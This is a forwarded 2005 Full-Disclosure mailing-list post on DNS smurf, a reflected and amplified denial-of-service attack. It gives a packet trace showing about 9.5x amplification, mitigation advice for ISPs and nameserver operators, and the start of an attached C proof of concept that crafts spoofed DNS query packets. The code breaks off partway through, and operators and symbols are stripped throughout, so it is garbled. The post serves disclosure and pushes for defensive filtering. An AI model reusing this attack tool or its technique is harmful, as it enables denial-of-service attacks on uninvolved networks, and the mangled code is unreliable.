Hello
This Mail [1] arrived just over the Full-Disclosure mailinglist
[2], but should probably also be of interest to some people here.
[1]
http://lists.grok.org.uk/pipermail/full-disclosure/2005-May/034342.html
[2] https://lists.grok.org.uk/mailman/listinfo/full-disclosure
bye
Fabian
Original Message
Subject: [Full-disclosure] DNS Smurf revisited
Date: Fri, 27 May 2005 10:28:37 -0400
From: Ian Gulliver [EMAIL PROTECTED]
To: full-disclosure@lists.grok.org.uk
DNS smurf is old news:
http://www.s0ftpj.org/docs/spj-002-000.txt
http://www.ciac.org/ciac/bulletins/j-063.shtml
However, as ISPs continue to operate networks that let spoofed
packets out this issue deserves a little publicity again.
10:17:07.641061 IP (tos 0x0, ttl 64, id 46429, offset 0, flags
[DF], length: 49) X.44295
c.gtld-servers.net.domain: [udp sum ok] 18297 ANY? org. (21)
10:17:07.673800 IP (tos 0x0, ttl 43, id 0, offset 0, flags [DF],
length: 468) c.gtld-servers.net.domain X.44295:
18297- 0/13/13 (440)
% echo 2 k 468 49 / p | dc
9.55
That's a 9.5X amplification of outgoing traffic; you can probably
break 10X with a little more work on the query and nameserver
choices.
SOLUTIONS
-
ISPs: Drop outgoing packets that don't originate from within your
network. You should already be doing this, as it stops a variety
of other attacks.
NS operators: Ratelimit?
Attached is a modernized proof of concept.
--
Ian Gulliver
Penguin Hosting
Failure is not an option; it comes bundled with your Microsoft
products.
/*
* dnos.c - DNS amplified DoS proof of concept
* Copyright (C) 2005 Ian Gulliver
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of version 2 of the GNU General Public License as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
* */
// Linux will do the IP checksum in the kernel anyway
#define SKIP_IP_CHECKSUM
#include stdlib.h
#include time.h
#include stdio.h
#include netinet/ip.h
#include netdb.h
#include sys/socket.h
#include netinet/in.h
#include arpa/inet.h
#include string.h
#include strings.h
struct s_packet {
unsigned char packet[512];
unsigned int len;
struct sockaddr_in dest;
struct s_packet *next;
};
struct s_dns_rr_type {
char name[6];
char value[3];
};
struct s_dns_rr_type rr_types[] = {
{ A, \x00\x01 },
{ NS,\x00\x02 },
{ CNAME, \x00\x05 },
{ SOA, \x00\x06 },
{ PTR, \x00\x0c },
{ MX,\x00\x0f },
{ TXT, \x00\x10 },
{ , \x00\x1c },
{ ANY, \x00\xff }
};
struct s_packet *packet_head = NULL;
static const unsigned char packet_template[] =
// IP Header
\x45 // 00: Version (4), header size in 4-byte blocks (5)
\x00 // 01: TOS (0)
\x00\x00 // 02-03: Total length (filled in later)
\x00\x00 // 04-05: ID (random)
\x40\x00 // 06-07: Flags (4 = DF), fragment offset (0)
\x00 // 08: TTL (random 64)
\x11 // 09: Protocol (17 = UDP)
\x00\x00 // 10-11: Header checksum (filled in later)
\x00\x00\x00\x00 // 12-15: Source IP (filled in later)
\x00\x00\x00\x00 // 16-19: Destination IP (filled in later)
// UDP Header
\x00\x00 // 20-21: Source port (random)
\x00\x35 // 22-23: Destination port (53)
\x00\x00 // 24-25: UDP packet length (filled in later)
\x00\x00 // 26-27: UDP packet checksum (filled in later)
// DNS packet
\x00\x00 // 28-29: Identification (random)
\x00\x00 // 30-31: Flags (0)
\x00\x01 // 32-33: Questions (1)
\x00\x00 // 34-35: Answers (0)
\x00\x00 // 36-37: Authority (0)
\x00\x00 // 38-39: Additional (0)
// Space left to encode RRs
;
void do_random(unsigned char *dest, int min) {
*dest = min + (rand() % (255 - min));
}
void do_udp_checksum(struct s_packet *packet) {
uint32_t sum = 0;
uint16_t word;
int i;
packet-packet[26] = 0;
packet-packet[27] = 0;
for (i = 20; i packet-len; i += 2) {
word = ((packet-packet[i] 8) 0xff00) + (packet-packet[i+1] 0xff);
sum += (uint32_t) word;
}
for (i = 12; i 20; i += 2) {
word = ((packet-packet[i] 8) 0xff00) + (packet-packet[i+1] 0xff);
sum += (uint32_t) word;
}
sum += 17 + packet-len - 20;
while (sum 16)
sum = (sum 0x) + (sum 16);
sum = ~sum;
packet-packet[27] = sum 0xff;
packet-packet[26] = (sum 0xff00) 8;
}
void do_ip_checksum(struct s_packet *packet) {
uint32_t sum = 0;
uint16_t word;
int i;
packet-packet[10] = 0;